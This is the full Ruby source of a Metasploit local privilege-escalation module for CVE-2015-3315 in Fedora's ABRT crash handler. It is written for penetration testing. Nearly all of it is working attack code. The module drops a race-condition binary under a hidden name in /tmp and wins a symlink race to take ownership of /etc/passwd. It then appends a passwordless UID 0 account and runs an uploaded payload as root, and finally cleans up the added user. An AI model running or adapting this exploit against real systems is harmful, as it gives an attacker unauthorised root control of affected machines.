## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ABRT raceabrt Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. A race condition allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on '/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes. This module has been tested successfully on ABRT packaged version 2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop 19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64. Fedora 21 and Red Hat 7 systems are reportedly affected, but untested. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Discovery and C exploit 'bcoles' # Metasploit ], 'DisclosureDate' => 'Apr 14 2015', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'References' => [ [ 'CVE', '2015-3315' ], [ 'EDB', '36747' ], [ 'BID', '75117' ], [ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ], [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ], [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ], [ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ], [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ], [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ], [ 'URL', 'https://access.redhat.com/articles/1415483' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ] ] )) register_options( [ OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]), OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]) ]) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'] end def timeout datastore['TIMEOUT'] end def check if cmd_exec('lsattr /etc/passwd').include? 'i' vprint_error 'File /etc/passwd is immutable' return CheckCode::Safe end kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' unless kernel_core_pattern.include? 'abrt-hook-ccpp' vprint_error 'System is NOT configured to use ABRT for crash reporting' return CheckCode::Safe end vprint_good 'System is configured to use ABRT for crash reporting' if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true' vprint_error "Directory '/var/spool/abrt' exists. System has been patched." return CheckCode::Safe end vprint_good 'System does not appear to have been patched' unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true' vprint_error "Directory '/var/tmp/abrt' does NOT exist" return CheckCode::Safe end vprint_good "Directory '/var/tmp/abrt' exists" if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' vprint_error 'abrt-ccp service NOT running' return CheckCode::Safe end vprint_good 'abrt-ccpp service is running' abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1] unless abrt_version.blank? vprint_status "System is using ABRT package version #{abrt_version}" end CheckCode::Detected end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data cmd_exec "chmod +x '#{path}'" register_file_for_cleanup path end def exploit if check != CheckCode::Detected fail_with Failure::NotVulnerable, 'Target is not vulnerable' end @chown_file = '/etc/passwd' if datastore['USERNAME'].blank? @username = rand_text_alpha rand(7..10) else @username = datastore['USERNAME'] end # Upload Tavis Ormandy's raceabrt exploit: # - https://www.exploit-db.com/exploits/36747/ # Cross-compiled with: # - i486-linux-musl-cc -static raceabrt.c path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt' fd = ::File.open path, 'rb' executable_data = fd.read fd.stat.size fd.close executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" upload_and_chmodx executable_path, executable_data # Change working directory to base_dir cmd_exec "cd '#{base_dir}'" # Launch raceabrt executable print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..." output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout output.each_line { |line| vprint_status line.chomp } # Check if we own /etc/passwd unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true' fail_with Failure::Unknown, "Failed to own '#{@chown_file}'" end print_good "Success! '#{@chown_file}' is writable" # Add new user with no password print_status "Adding #{@username} user to #{@chown_file} ..." cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}" # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Execute payload executable vprint_status 'Executing payload...' cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\"" end def on_new_session(session) if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' end # Reinstate /etc/passwd root ownership and remove new user root_owns_passwd = false new_user_removed = false if session.type.to_s.eql? 'meterpreter' # Reinstate /etc/passwd root ownership session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\"" # Remove new user session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\"" # Wait for clean up Rex.sleep 5 # Check root ownership passwd_stat = session.fs.file.stat(@chown_file).stathash if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0 root_owns_passwd = true end # Check for new user in /etc/passwd passwd_contents = session.fs.file.open(@chown_file).read.to_s unless passwd_contents.include? "#{@username}:" new_user_removed = true end elsif session.type.to_s.eql? 'shell' # Reinstate /etc/passwd root ownership session.shell_command_token "chown root:root #{@chown_file}" # Remove new user session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}" # Check root ownership passwd_owner = session.shell_command_token "ls -l #{@chown_file}" if passwd_owner.to_s.include? 'root' root_owns_passwd = true end # Check for new user in /etc/passwd passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}" unless passwd_user.to_s.include? "#{@username}:" new_user_removed = true end end unless root_owns_passwd print_warning "Could not reinstate root ownership of #{@chown_file}" end unless new_user_removed print_warning "Could not remove user '#{@username}' from #{@chown_file}" end rescue => e print_error "Error during cleanup: #{e.message}" ensure super end end